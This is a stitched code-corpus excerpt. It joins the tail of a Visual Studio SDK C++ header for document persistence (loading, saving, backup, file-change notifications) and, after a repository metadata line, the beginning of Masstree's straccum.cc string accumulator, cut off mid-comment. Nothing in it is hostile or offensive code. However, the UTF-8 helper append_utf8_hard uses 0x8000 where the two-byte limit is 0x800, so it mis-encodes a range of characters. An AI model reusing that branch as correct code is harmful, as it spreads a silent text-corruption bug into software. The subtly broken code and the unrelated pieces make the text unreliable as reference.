m_szFullPathName,
dwDesiredAccess,
dwShareMode,
dwCreationDisposition,
dwFlagsAndAttributes,
lpsa,
hTemplateFile);
VSL_CHECKHRESULT(hr);
}
bool IsZeroLength()
{
ULONGLONG iSize;
VSL_CHECKHRESULT(
m_hFile.GetSize(iSize));
return iSize == 0;
}
void Close()
{
m_hFile.Close();
}
operator HANDLE()
{
return m_hFile.m_h;
}
DWORD GetFileType()
{
DWORD dwFileType = ::GetFileType(GetHandle());
if(FILE_TYPE_UNKNOWN == dwFileType)
{
DWORD dwError = ::GetLastError();
if(dwError != NO_ERROR)
{
VSL_CREATE_ERROR_WIN32(dwError);
}
}
return dwFileType;
}
bool IsOnDisk()
{
return FILE_TYPE_DISK == GetFileType();
}
HANDLE GetHandle()
{
VSL_CHECKBOOLEAN(m_hFile.m_h, E_FAIL);
return m_hFile.m_h;
}
void Read(
_Out_bytecap_(nBufSize) LPVOID pBuffer,
_In_ DWORD nBufSize,
_Out_ DWORD& nBytesRead)
{
VSL_CHECKHRESULT(m_hFile.Read(pBuffer, nBufSize, nBytesRead));
}
void Write(
_In_bytecount_(nBufSize) LPCVOID pBuffer,
_In_ DWORD nBufSize,
_Out_opt_ DWORD* pnBytesWritten = NULL)
{
VSL_CHECKHRESULT(m_hFile.Write(pBuffer, nBufSize, pnBytesWritten));
}
void Seek(_In_ LONGLONG nOffset, _In_ DWORD dwFrom = FILE_CURRENT)
{
VSL_CHECKHRESULT(m_hFile.Seek(nOffset, dwFrom));
}
private:
ATL::CStringW m_szFullPathName;
ATL::CAtlFile m_hFile;
};
template <
class Derived_T,
class File_T = File,
class VsSiteCache_T = VsSiteCacheLocal>
class DocumentPersistanceBase :
public IVsPersistDocData,
public IVsFileChangeEvents,
public IVsDocDataFileChangeControl,
public IPersistFileFormat,
public IVsFileBackup
{
VSL_DECLARE_NOT_COPYABLE(DocumentPersistanceBase)
public:
typedef Derived_T Derived;
typedef File_T File;
typedef VsSiteCache_T VsSiteCache;
/***************************************************************************
IVsFileChangeEvents methods
***************************************************************************/
// Called to notify of file state changes
STDMETHOD(FilesChanged)(
DWORD cChanges,
LPCOLESTR rglpstrFile[],
_In_count_(cChanges) VSFILECHANGEFLAGS rggrfChange[])
{
VSL_STDMETHODTRY{
VSL_CHECKBOOLEAN(cChanges > 0, E_INVALIDARG);
VSL_CHECKPOINTER(rglpstrFile, E_INVALIDARG);
VSL_CHECKPOINTER(rggrfChange, E_INVALIDARG);
if(m_iIgnoreFileChangeLevel > 0)
{
// IgnoreFileChanges has been called to indicate that
// file state changes should be ignored currently
return S_OK;
}
for(DWORD i = 0; i < cChanges; ++i)
{
if(rglpstrFile[i] && 0 == GetFileName().CompareNoCase(rglpstrFile[i]))
{
Derived& rDerived = *(static_cast<Derived*>(this));
// If the readonly file attributes has changed, then the state
// can be updated to match the new state without prompting the
// user
if(rggrfChange[i] & VSFILECHG_Attr)
{
BOOL fIsSysReadOnly = m_File.IsFileReadOnly();
SetReadOnly(fIsSysReadOnly);
}
/*
If the file size or time have have changed then prompt the user to see if the should be
reloaded.
The file should not be reloaded here as it is possible that there will be more than one
FilesChanged notification as separate notifications can be recieved in short order.
Additionally, it is the preferred UI style not to prompt the user, until Visual Stuidio
is brought to the foreground. Thus, the derived class is called to set a timer
to cause the user to be prompted if the file should be reloaded after short delay.
*/
if((rggrfChange[i] & (VSFILECHG_Time | VSFILECHG_Size)) && !m_bFileChangedTimerSet)
{
m_bFileChangedTimerSet = true;
// Send the message to the parent window.
rDerived.OnFileChangedSetTimer();
}
}
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
// Called to notify of directoy state changes
STDMETHOD(DirectoryChanged)(LPCOLESTR /*pszDirectory*/)
{
// No action required
return S_OK;
}
/***************************************************************************
IVsDocDataFileChangeControl methods
***************************************************************************/
// Called to indicate that file changes should be ignored
// Balanced calls with fIgnore set to TRUE and FALSE are expected
STDMETHOD(IgnoreFileChanges)(BOOL fIgnore)
{
VSL_STDMETHODTRY{
if(fIgnore)
{
++m_iIgnoreFileChangeLevel;
}
else
{
VSL_CHECKBOOLEAN(m_iIgnoreFileChangeLevel > 0, E_UNEXPECTED);
--m_iIgnoreFileChangeLevel;
// If we are no longer ignoring files changes and the read only state of
// the file doesn't match the cached state then update accordingly to ensure
// the caption is update to date
if(m_iIgnoreFileChangeLevel == 0)
{
bool bReadOnly = m_File.IsFileReadOnly();
if(IsFileReadOnly() != bReadOnly)
{
SetReadOnly(bReadOnly);
}
}
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
/***************************************************************************
IPersistFileFormat methods
***************************************************************************/
STDMETHOD(IsDirty)(_Out_ BOOL *pfIsDirty)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(pfIsDirty, E_INVALIDARG);
*pfIsDirty = IsFileDirty();
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(InitNew)(DWORD nFormatIndex)
{
VSL_STDMETHODTRY{
Derived& rDerived = *(static_cast<Derived*>(this));
VSL_CHECKBOOLEAN(rDerived.IsValidFormat(nFormatIndex), E_INVALIDARG);
m_dwFormatIndex = nFormatIndex;
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(Load)(LPCOLESTR pszFilename, DWORD /*grfMode*/, BOOL fReadOnly)
{
VSL_STDMETHODTRY{
// Check that the file name is valid
VSL_CHECKBOOLEAN(CheckFileName(pszFilename), E_INVALIDARG);
// Set the wait cursor while we are loading the file
CComPtr<IVsUIShell> spIVsUIShell = GetDerivedVsSiteChache().GetCachedService<IVsUIShell, SID_SVsUIShell>();
VSL_CHECKPOINTER(spIVsUIShell.p, E_FAIL);
VSL_CHECKHRESULT(spIVsUIShell->SetWaitCursor());
File file(static_cast<const wchar_t*>(pszFilename));
BOOL fIsSysReadOnly = file.IsFileReadOnly();
// Open the file for reading
file.Create(
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
OPEN_EXISTING,
FILE_FLAG_SEQUENTIAL_SCAN);
VSL_CHECKBOOLEAN(file.GetFileType() == FILE_TYPE_DISK, __HRESULT_FROM_WIN32(ERROR_INVALID_NAME));
DWORD dwFormatIndex = DEF_FORMAT_INDEX;
HRESULT hr = S_OK;
if(!file.IsZeroLength())
{
// Read in the contents, should not throw C++ exceptions
Derived& rDerived = *(static_cast<Derived*>(this));
// TODO - put a wrapper function around this so that ReadData can throw
hr = rDerived.ReadData(file, FALSE, dwFormatIndex);
}
if(STG_E_INVALIDCODEPAGE == hr || STG_E_NOTTEXT == hr)
{
// These return code indicate that the file wasn't valid
// and internal state was not modified, so return the
// error immediately
return hr;
}
if(FAILED(hr)) // STG_S_DATALOSS like any other error
{
// Assume existing data has been lost, so re-initialize
Initialize();
return hr;
}
// Clear out the current file state
ResetFileState();
// Set appropriate flags
m_dwFormatIndex = dwFormatIndex;
SetDirty(false);
SetReadOnly(fReadOnly || fIsSysReadOnly);
// If we are not doing a reload of the same file then...
if(GetFileName().IsEmpty() || 0 != GetFileName().Compare(pszFilename))
{
SetFileName(pszFilename);
// Fire the LoadFile event
FileLoadAdvise();
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(Save)(LPCOLESTR pszFilename, BOOL fRemember, DWORD nFormatIndex)
{
VSL_STDMETHODTRY{
Derived& rDerived = *(static_cast<Derived*>(this));
VSL_CHECKBOOLEAN(rDerived.IsValidFormat(nFormatIndex), E_INVALIDARG);
LPCWSTR szSaveFileName = pszFilename;
bool bDoingSave = false;
if(NULL == szSaveFileName)
{
// If pszFilename is NULL, then a Save is being asked for, so the filename
// must be set already and the incoming value of fRemember is ignored in this case
VSL_CHECKBOOLEAN(!GetFileName().IsEmpty(), E_INVALIDARG);
VSL_CHECKBOOLEAN(IsFileEditable(), E_UNEXPECTED);
szSaveFileName = m_File;
fRemember = TRUE;
bDoingSave = true;
}
else
{
// If pszFilename is not NULL,
// and if fRemember is TRUE, and the file name is different then a Save As is being asked for
// but if fRemebber is TRUE, and the file name is the same then a Save is being asked for
// or if fRemember is FALSE, then a Save Copy As is being asked for
// so pszFilename must be valid
if(0 != GetFileName().CompareNoCase(szSaveFileName))
{
VSL_CHECKBOOLEAN(CheckFileName(pszFilename), E_INVALIDARG);
}
else
{
bDoingSave = true;
}
}
if(bDoingSave)
{
// Suspend file change notifications on a Save, so the writing of the file during the save
// doesn't trigger a notification.
// For a SaveAs the previous file will be unadvised when the name changes,
// and SaveCopyAs doesn't affect internal state.
SuspendFileChangeAdvise(true);
}
// do the actual save
HRESULT hr = WriteToFile(szSaveFileName, nFormatIndex);
// Resume file change notifications, before checking for an error
if(bDoingSave)
{
SuspendFileChangeAdvise(false);
}
VSL_CHECKHRESULT(hr);
if(fRemember)
{
// Save or SaveAs
if(!bDoingSave)
{
// SaveAs
SetFileName(szSaveFileName);
}
SetDirty(false);
SetReadOnly(false);
m_dwFormatIndex = nFormatIndex;
// Since all changes are now saved properly to disk, there's no need for a backup.
m_bBackupObsolete = false;
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
// REVIEW - is it correct to be doing nothing here?
STDMETHOD(SaveCompleted)(LPCOLESTR /*pszFilename*/)
{
return S_OK;
}
STDMETHOD(GetCurFile)(_Deref_out_z_ LPOLESTR* ppszFilename, _Out_ DWORD* pnFormatIndex)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(ppszFilename, E_INVALIDARG);
VSL_CHECKPOINTER(pnFormatIndex, E_INVALIDARG);
*ppszFilename = NULL;
*pnFormatIndex = m_dwFormatIndex;
if(!GetFileName().IsEmpty())
{
// +1 for null terminator, which isn't included in GetLength()
const SIZE_T iBufferByteSize = (GetFileName().GetLength() + 1) * sizeof(**ppszFilename);
CoTaskMemPointer pBuffer = ::CoTaskMemAlloc(iBufferByteSize);
VSL_CHECKPOINTER(static_cast<LPVOID>(pBuffer), E_OUTOFMEMORY);
VSL_CHECKBOOLEAN(0 == ::memcpy_s(pBuffer, iBufferByteSize, GetFileName(), iBufferByteSize), E_FAIL);
*ppszFilename = static_cast<LPOLESTR>(pBuffer.Detach());
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(GetFormatList)(_Deref_out_z_ LPOLESTR* ppszFormatList)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(ppszFormatList, E_INVALIDARG);
*ppszFormatList = NULL;
Derived& rDerived = *(static_cast<Derived*>(this));
ATL::CStringW strFormatList;
rDerived.GetFormatListString(strFormatList);
// +1 for null terminator, which isn't included in GetLength()
const SIZE_T iBufferByteSize = (strFormatList.GetLength() + 1) * sizeof(OLECHAR);
CoTaskMemPointer pBuffer = ::CoTaskMemAlloc(iBufferByteSize);
VSL_CHECKPOINTER(static_cast<LPVOID>(pBuffer), E_OUTOFMEMORY);
VSL_CHECKBOOLEAN(0 == ::memcpy_s(pBuffer, iBufferByteSize, strFormatList, iBufferByteSize), E_FAIL);
*ppszFormatList = static_cast<LPOLESTR>(pBuffer.Detach());
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
/***************************************************************************
IPersist methods
***************************************************************************/
STDMETHOD(GetClassID)(_Out_ CLSID* pClassID)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(pClassID, E_INVALIDARG);
Derived& rDerived = *(static_cast<Derived*>(this));
*pClassID = rDerived.GetEditorTypeGuid();
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
/***************************************************************************
IVsPersistDocData methods
***************************************************************************/
STDMETHOD(GetGuidEditorType)(_Out_ CLSID* pClassID)
{
// Delegate to IPersist::GetClassID
return GetClassID(pClassID);
}
STDMETHOD(IsDocDataDirty)(_Out_ BOOL* pfDirty)
{
// Delegate to IPersistFileFormat::IsDirty
return IsDirty(pfDirty);
}
// SetUntitledDocPath is called by projects after a new document instance is created.
// Parameter is a legacy artificat.
STDMETHOD(SetUntitledDocPath)(LPCOLESTR /*pszDocDataPath*/)
{
// Delegate to IPersistFileFormat::InitNew
return InitNew(DEF_FORMAT_INDEX);
}
STDMETHOD(LoadDocData)(LPCOLESTR pszMkDocument)
{
// Delegate to IPersistFileFormat::Load
return Load(pszMkDocument, 0, FALSE);
}
STDMETHOD(SaveDocData)(VSSAVEFLAGS dwSave, _Deref_out_z_ BSTR* pbstrMkDocumentNew, _Out_ BOOL* pfSaveCanceled)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(pfSaveCanceled, E_INVALIDARG);
VSL_CHECKPOINTER(pbstrMkDocumentNew, E_INVALIDARG);
VSL_CHECKBOOLEAN(!GetFileName().IsEmpty(), E_UNEXPECTED);
// Initialise output parameter flag.
*pbstrMkDocumentNew = NULL;
*pfSaveCanceled = FALSE;
switch(dwSave)
{
case VSSAVE_Save:
{
CComPtr<IVsQueryEditQuerySave2> spIVsQueryEditQuerySave2;
VSL_CHECKHRESULT((
GetDerivedVsSiteChache().QueryCachedService<
IVsQueryEditQuerySave2,
SID_SVsQueryEditQuerySave>(
&spIVsQueryEditQuerySave2)));
VSQuerySaveResult result;
VSL_CHECKHRESULT(spIVsQueryEditQuerySave2->QuerySaveFile(
GetFileName(),
0,
NULL,
&result));
switch(result)
{
case QSR_NoSave_UserCanceled:
*pfSaveCanceled = TRUE;
return S_OK;
case QSR_NoSave_Continue:
// Do nothing
return S_OK;
case QSR_ForceSaveAs:
// override
dwSave = VSSAVE_SaveAs;
break;
case QSR_SaveOK:
// Normal file save with no user dialog
break;
default:
return E_FAIL;
}
}
break;
case VSSAVE_SaveAs:
break;
case VSSAVE_SaveCopyAs:
break;
default:
return E_INVALIDARG;
}
CComPtr<IVsUIShell> spIVsUIShell = GetDerivedVsSiteChache().GetCachedService<
IVsUIShell,
SID_SVsUIShell>();
VSL_CHECKPOINTER(spIVsUIShell.p, E_FAIL);
VSL_CHECKHRESULT(spIVsUIShell->SaveDocDataToFile(
dwSave,
static_cast<IPersistFileFormat*>(this),
GetFileName(),
pbstrMkDocumentNew,
pfSaveCanceled));
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(Close)()
{
// When closing, the document's IVsWindowPane::ClosePane() method is called after
// IVsPersistDocData::Close. We don't clean-up here, but rather let
// the IVsWindowPane::ClosePane() method call OnDocumentClose
return S_OK;
}
STDMETHOD(OnRegisterDocData)(VSCOOKIE /*docCookie*/, _In_ IVsHierarchy* /*pHierNew*/, VSITEMID /*itemidNew*/)
{
// REVIEW - return E_NOTIMPL instead
return S_OK;
}
STDMETHOD(RenameDocData)(
VSRDTATTRIB /*grfAttribs*/,
_In_ IVsHierarchy* /*pHierNew*/,
VSITEMID /*itemidNew*/,
LPCOLESTR /*pszMkDocumentNew*/)
{
// REVIEW - return E_NOTIMPL instead or implement it?
return S_OK;
}
STDMETHOD(IsDocDataReloadable)(_Out_ BOOL* pfReloadable)
{
VSL_RETURN_E_INVALIDARG_IF_NULL(pfReloadable);
*pfReloadable = TRUE;
return S_OK;
}
STDMETHOD(ReloadDocData)(VSRELOADDOCDATA grfFlags)
{
VSL_STDMETHODTRY{
// because we implement IVsDocDataFileChangeControl, then RDD_IgnoreNextFileChange
// flag should never be specified. the caller must use
// IVsDocDataFileChangeControl::IgnoreFileChanges instead.
VSL_CHECKBOOLEAN(!(grfFlags & RDD_IgnoreNextFileChange), E_INVALIDARG);
// set our file reload flag
m_bFileReloaded = true;
// Call IPersistFileFormat::Load
VSL_CHECKHRESULT(Load(GetFileName(), 0, FALSE));
// REVIEW - call derived if RDD_RemoveUndoStack set?
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
/***************************************************************************
IVsFileBackup methods
***************************************************************************/
STDMETHOD(BackupFile)(LPCOLESTR pszBackupFileName)
{
VSL_STDMETHODTRY{
VSL_CHECKBOOLEAN(CheckFileName(pszBackupFileName), E_INVALIDARG);
VSL_CHECKHRESULT(WriteToFile(pszBackupFileName));
// Note that the backup is not obsolete (i.e. current)
m_bBackupObsolete = false;
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
STDMETHOD(IsBackupFileObsolete)(_Out_ BOOL* pbObsolete)
{
VSL_STDMETHODTRY{
VSL_CHECKPOINTER(pbObsolete, E_INVALIDARG);
if(IsFileDirty())
{
// If dirty, then return current need for a backup
*pbObsolete = m_bBackupObsolete;
}
else
{
// If not dirty, then no need for a backup
*pbObsolete = FALSE;
}
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
protected:
/***************************************************************************
Methods the derived class is required to call
***************************************************************************/
DocumentPersistanceBase():
m_File(),
m_spIVsFileChangeEx(0),
m_FileChangeConnectionCookie(0),
m_iIgnoreFileChangeLevel(0),
m_dwFormatIndex(DEF_FORMAT_INDEX),
m_bFileChangedTimerSet(false),
m_bFileReloaded(false),
m_bBackupObsolete(false),
m_bFileDirty(false),
m_bFileReadOnly(false),
m_bFileEditableWhenReadOnly(false)
{
}
virtual ~DocumentPersistanceBase() = 0
{
}
// The derived class should call this method as part of it's closing activity
void OnDocumentClose()
{
if(m_spIVsFileChangeEx)
{
if(VSCOOKIE_NIL != m_FileChangeConnectionCookie)
{
Unadvise();
}
m_spIVsFileChangeEx.Release();
}
}
// The derived class should call this method upon recieving the WM_TIMER
// messeage sent from OnFileChangedSetTimer
void NotifyFileChangedTimerHandled()
{
m_bFileChangedTimerSet = false;
}
/***************************************************************************
Helper methods available to the derived class
***************************************************************************/
bool IsFileDirty()
{
return m_bFileDirty;
}
void SetFileDirty(bool bSet)
{
// Every time the document has changed in any way the previous backup is obsolete.
m_bBackupObsolete = true;
m_bFileDirty = bSet;
}
bool IsFileEditableWhenReadOnly()
{
return m_bFileEditableWhenReadOnly;
}
void SetFileEditableWhenReadOnly(bool bSet)
{
// Every time the document has changed in any way the previous backup is obsolete.
m_bBackupObsolete = true;
m_bFileEditableWhenReadOnly = bSet;
}
bool IsFileReloaded()
{
return m_bFileReloaded;
}
void SetFileReloaded(bool bFileReloaded)
{
m_bFileReloaded = bFileReloaded;
}
bool IsFileReadOnly()
{
return m_bFileReadOnly;
}
bool IsFileEditable()
{
return !IsFileReadOnly() || IsFileEditableWhenReadOnly();
}
void ResetFileState()
{
m_bFileDirty = false;
m_bFileReadOnly = false;
m_bFileEditableWhenReadOnly = false;
}
const CStringW& GetFileName()
{
return m_File.GetFullPathName();
}
void SetFileName(LPCWSTR szFileName)
{
if(VSCOOKIE_NIL != m_FileChangeConnectionCookie)
{
EnsureVsFileChangeEx();
Unadvise();
}
if(szFileName != NULL)
{
EnsureVsFileChangeEx();
VSL_CHECKHRESULT(m_spIVsFileChangeEx->AdviseFileChange(
szFileName,
VSFILECHG_Attr | VSFILECHG_Time | VSFILECHG_Size,
static_cast<IVsFileChangeEvents*>(this),
&m_FileChangeConnectionCookie));
VSL_CHECKBOOLEAN(m_FileChangeConnectionCookie != VSCOOKIE_NIL, E_FAIL);
}
m_File.GetFullPathName() = szFileName;
}
File& GetFile()
{
return m_File;
}
/***************************************************************************
Internal helper methods
***************************************************************************/
private:
void Initialize()
{
// REVIEW - 1/30/2006 - what else needs to be done to return us to a clean initial state?
ResetFileState();
SetFileName(NULL);
}
void SuspendFileChangeAdvise(bool bSuspend)
{
EnsureVsFileChangeEx();
if(!bSuspend)
{
// Transitioning from suspended to non-suspended state - so force a
// sync first to avoid asynchronous notifications of our own change
VSL_CHECKHRESULT(m_spIVsFileChangeEx->SyncFile(GetFileName()));
}
// Suspend (true) or unsupsend (false) as indicated by caller
VSL_CHECKHRESULT(m_spIVsFileChangeEx->IgnoreFile(NULL, GetFileName(), bSuspend));
}
void FileLoadAdvise()
{
ATL::CComPtr<IVsRunningDocumentTable> spIVsRunningDocumentTable;
VSL_CHECKHRESULT(GetDerivedVsSiteChache().QueryService(SID_SVsRunningDocumentTable, &spIVsRunningDocumentTable));
VSDOCCOOKIE docCookie;
VSL_CHECKHRESULT(spIVsRunningDocumentTable->FindAndLockDocument(
RDT_ReadLock,
GetFileName(),
NULL,
NULL,
0,
&docCookie));
HRESULT hr = spIVsRunningDocumentTable->NotifyDocumentChanged(docCookie, RDTA_DocDataReloaded);
// Here we don't check for success because, even if the previous operation
// fails, we have to unlock the document.
VSL_CHECKHRESULT(spIVsRunningDocumentTable->UnlockDocument(RDT_ReadLock, docCookie));
// Now check the result
VSL_CHECKHRESULT(hr);
}
HRESULT WriteToFile(LPCWSTR pszFilename, DWORD dwFormatIndex = DEF_FORMAT_INDEX) throw()
{
VSL_STDMETHODTRY{
File file(pszFilename);
// Open the file for writing
file.Create(
GENERIC_WRITE,
FILE_SHARE_READ,
CREATE_ALWAYS,
FILE_FLAG_SEQUENTIAL_SCAN);
Derived& rDerived = *(static_cast<Derived*>(this));
// WriteData should not modify any internal state, since WriteToFile is called to
// backup a file as well as to save it.
rDerived.WriteData(file, dwFormatIndex);
}VSL_STDMETHODCATCH()
return VSL_GET_STDMETHOD_HRESULT();
}
void SetDirty(bool bDirty)
{
SetFileDirty(bDirty);
Derived& rDerived = *(static_cast<Derived*>(this));
rDerived.PostSetDirty();
}
void SetReadOnly(bool bReadOnly)
{
m_bFileReadOnly = bReadOnly;
// When the read only status is changed, reset allowing it to be editable when read only
SetFileEditableWhenReadOnly(false);
Derived& rDerived = *(static_cast<Derived*>(this));
rDerived.PostSetReadOnly();
}
bool CheckFileName(const wchar_t* const szFileName)
{
if(szFileName == NULL || *szFileName == L'\0' || ::wcslen(szFileName) >= _MAX_PATH)
{
return false;
}
return true;
}
// Caller needs to ensure that m_FileChangeConnectionCookie is valid
void Unadvise()
{
HRESULT hr = m_spIVsFileChangeEx->UnadviseFileChange(m_FileChangeConnectionCookie);
// This shouldn't fail, but no retail failure if it does, as there is nothing to be done about it
VSL_ASSERT(SUCCEDDED(hr));
(hr);
m_FileChangeConnectionCookie = VSCOOKIE_NIL;
}
void EnsureVsFileChangeEx()
{
if(m_spIVsFileChangeEx != NULL)
{
return;
}
VSL_CHECKHRESULT(GetDerivedVsSiteChache().QueryService(SID_SVsFileChangeEx, &m_spIVsFileChangeEx));
VSL_CHECKPOINTER(m_spIVsFileChangeEx.p, E_FAIL);
}
const VsSiteCache& GetDerivedVsSiteChache()
{
Derived& rDerived = *(static_cast<Derived*>(this));
return rDerived.GetVsSiteCache();
}
File m_File;
CComPtr<IVsFileChangeEx> m_spIVsFileChangeEx;
VSCOOKIE m_FileChangeConnectionCookie;
unsigned int m_iIgnoreFileChangeLevel;
DWORD m_dwFormatIndex;
bool m_bFileChangedTimerSet;
bool m_bFileReloaded;
bool m_bBackupObsolete;
bool m_bFileDirty;
bool m_bFileReadOnly;
bool m_bFileEditableWhenReadOnly;
};
} // namespace VSL
#endif // VSLFILE_H_10C49CA1_2F46_11D3_A504_00C04F5E0BA5
| [
"jdm7dv@gmail.com"
] | jdm7dv@gmail.com |
275bc4c52e308cd2ab769eb6feeee6e8fb1f3948 | 7b48736942e1807de55a818cdb0cf1b1e9e96556 | /straccum.cc | 5cac2cf9be5adb8704d5c092ac9ae2fae4d8e5ee | [] | no_license | kohler/hotcrp-comet | fd6a52951e6a135283bcddbe12e418d4e64733c7 | 0d803a539701c72bfc29144e12c3ab02fda93cc0 | refs/heads/main | 2023-06-01T16:17:29.652265 | 2023-01-21T02:36:53 | 2023-01-21T02:39:23 | 19,998,288 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,996 | cc | /* Masstree
* Eddie Kohler, Yandong Mao, Robert Morris
* Copyright (c) 2012-2013 President and Fellows of Harvard College
* Copyright (c) 2012-2013 Massachusetts Institute of Technology
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, subject to the conditions
* listed in the Masstree LICENSE file. These conditions include: you must
* preserve this copyright notice, and you cannot mention the copyright
* holders in advertising related to the Software without their permission.
* The Software is provided WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED. This
* notice is a summary of the Masstree LICENSE file; the license in that file
* is legally binding.
*/
/*
* straccum.{cc,hh} -- build up strings with operator<<
* Eddie Kohler
*
* Copyright (c) 1999-2000 Massachusetts Institute of Technology
* Copyright (c) 2001-2013 Eddie Kohler
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, subject to the conditions
* listed in the Click LICENSE file. These conditions include: you must
* preserve this copyright notice, and you cannot mention the copyright
* holders in advertising related to the Software without their permission.
* The Software is provided WITHOUT ANY WARRANTY, EXPRESS OR IMPLIED. This
* notice is a summary of the Click LICENSE file; the license in that file
* is legally binding.
*/
#include "straccum.hh"
#include <cstdarg>
#include <cstdio>
#include <cctype>
#include <cerrno>
/** @class StringAccum
* @brief Efficiently build up Strings from pieces.
*
* Like the String class, StringAccum represents a string of characters.
* However, unlike a String, a StringAccum is inherently mutable, and
* efficiently supports building up a large string from many smaller pieces.
*
* StringAccum objects support operator<<() operations for most fundamental
* data types. A StringAccum is generally built up by operator<<(), and then
* turned into a String by the take_string() method. Extracting the String
* from a StringAccum does no memory allocation or copying; the StringAccum's
* memory is donated to the String.
*
* <h3>Out-of-memory StringAccums</h3>
*
* When there is not enough memory to add requested characters to a
* StringAccum object, the object becomes a special "out-of-memory"
* StringAccum. Out-of-memory objects are contagious: the result of any
* concatenation operation involving an out-of-memory StringAccum is another
* out-of-memory StringAccum. Calling take_string() on an out-of-memory
* StringAccum returns an out-of-memory String.
*
* Note that appending an out-of-memory String to a StringAccum <em>does
* not</em> make the StringAccum out-of-memory.
*/
/** @brief Change this StringAccum into an out-of-memory StringAccum. */
void
StringAccum::assign_out_of_memory()
{
if (r_.cap > 0)
delete[] reinterpret_cast<char*>(r_.s - memo_space);
r_.s = reinterpret_cast<unsigned char*>(const_cast<char*>(String_generic::empty_data));
r_.cap = -1;
r_.len = 0;
}
char* StringAccum::grow(int ncap) {
// can't append to out-of-memory strings
if (r_.cap < 0) {
errno = ENOMEM;
return 0;
}
if (ncap < r_.cap)
return reinterpret_cast<char*>(r_.s + r_.len);
else if (ncap < 128)
ncap = 128;
else if (r_.cap < (1 << 20) && ncap < (r_.cap + memo_space) * 2 - memo_space)
ncap = (r_.cap + memo_space) * 2 - memo_space;
else if (r_.cap >= (1 << 20) && ncap < r_.cap + (1 << 19))
ncap = r_.cap + (1 << 19);
char* n = new char[ncap + memo_space];
if (!n) {
assign_out_of_memory();
errno = ENOMEM;
return 0;
}
n += memo_space;
if (r_.cap > 0) {
memcpy(n, r_.s, r_.len);
delete[] reinterpret_cast<char*>(r_.s - memo_space);
}
r_.s = reinterpret_cast<unsigned char*>(n);
r_.cap = ncap;
return reinterpret_cast<char*>(r_.s + r_.len);
}
/** @brief Set the StringAccum's length to @a len.
@pre @a len >= 0
@return 0 on success, -ENOMEM on failure */
int
StringAccum::resize(int len)
{
assert(len >= 0);
if (len > r_.cap && !grow(len))
return -ENOMEM;
else {
r_.len = len;
return 0;
}
}
char *
StringAccum::hard_extend(int nadjust, int nreserve)
{
char *x;
if (r_.len + nadjust + nreserve <= r_.cap)
x = reinterpret_cast<char*>(r_.s + r_.len);
else
x = grow(r_.len + nadjust + nreserve);
if (x)
r_.len += nadjust;
return x;
}
void StringAccum::transfer_from(String& x) {
if (x.is_shared() || x._r.memo_offset != -memo_space) {
append(x.begin(), x.end());
x._r.deref();
} else {
r_.s = const_cast<unsigned char*>(x.udata());
r_.len = x.length();
r_.cap = x._r.memo()->capacity;
}
}
/** @brief Null-terminate this StringAccum and return its data.
Note that the null character does not contribute to the StringAccum's
length(), and later append() and similar operations can overwrite it. If
appending the null character fails, the StringAccum becomes
out-of-memory and the returned value is a null string. */
const char *
StringAccum::c_str()
{
if (r_.len < r_.cap || grow(r_.len))
r_.s[r_.len] = '\0';
return reinterpret_cast<char *>(r_.s);
}
/** @brief Append @a len copies of character @a c to the StringAccum. */
void
StringAccum::append_fill(int c, int len)
{
if (char *s = extend(len))
memset(s, c, len);
}
void
StringAccum::hard_append(const char *s, int len)
{
// We must be careful about calls like "sa.append(sa.begin(), sa.end())";
// a naive implementation might use sa's data after freeing it.
const char *my_s = reinterpret_cast<char *>(r_.s);
if (r_.len + len <= r_.cap) {
success:
memcpy(r_.s + r_.len, s, len);
r_.len += len;
} else if (likely(s < my_s || s >= my_s + r_.cap)) {
if (grow(r_.len + len))
goto success;
} else {
rep_t old_r = r_;
r_ = rep_t();
if (char *new_s = extend(old_r.len + len)) {
memcpy(new_s, old_r.s, old_r.len);
memcpy(new_s + old_r.len, s, len);
}
delete[] reinterpret_cast<char*>(old_r.s - memo_space);
}
}
void
StringAccum::hard_append_cstr(const char *cstr)
{
append(cstr, strlen(cstr));
}
bool
StringAccum::append_utf8_hard(int ch)
{
if (ch < 0x8000) {
append(static_cast<char>(0xC0 | (ch >> 6)));
goto char1;
} else if (ch < 0x10000) {
if (unlikely((ch >= 0xD800 && ch < 0xE000) || ch > 0xFFFD))
return false;
append(static_cast<char>(0xE0 | (ch >> 12)));
goto char2;
} else if (ch < 0x110000) {
append(static_cast<char>(0xF0 | (ch >> 18)));
append(static_cast<char>(0x80 | ((ch >> 12) & 0x3F)));
char2:
append(static_cast<char>(0x80 | ((ch >> 6) & 0x3F)));
char1:
append(static_cast<char>(0x80 | (ch & 0x3F)));
} else
return false;
return true;
}
/** @brief Return a String object with this StringAccum's contents.
This operation donates the StringAccum's memory to the returned String.
After a call to take_string(), the StringAccum object becomes empty, and
any future append() operations may cause memory allocations. If the
StringAccum is out-of-memory, the returned String is also out-of-memory,
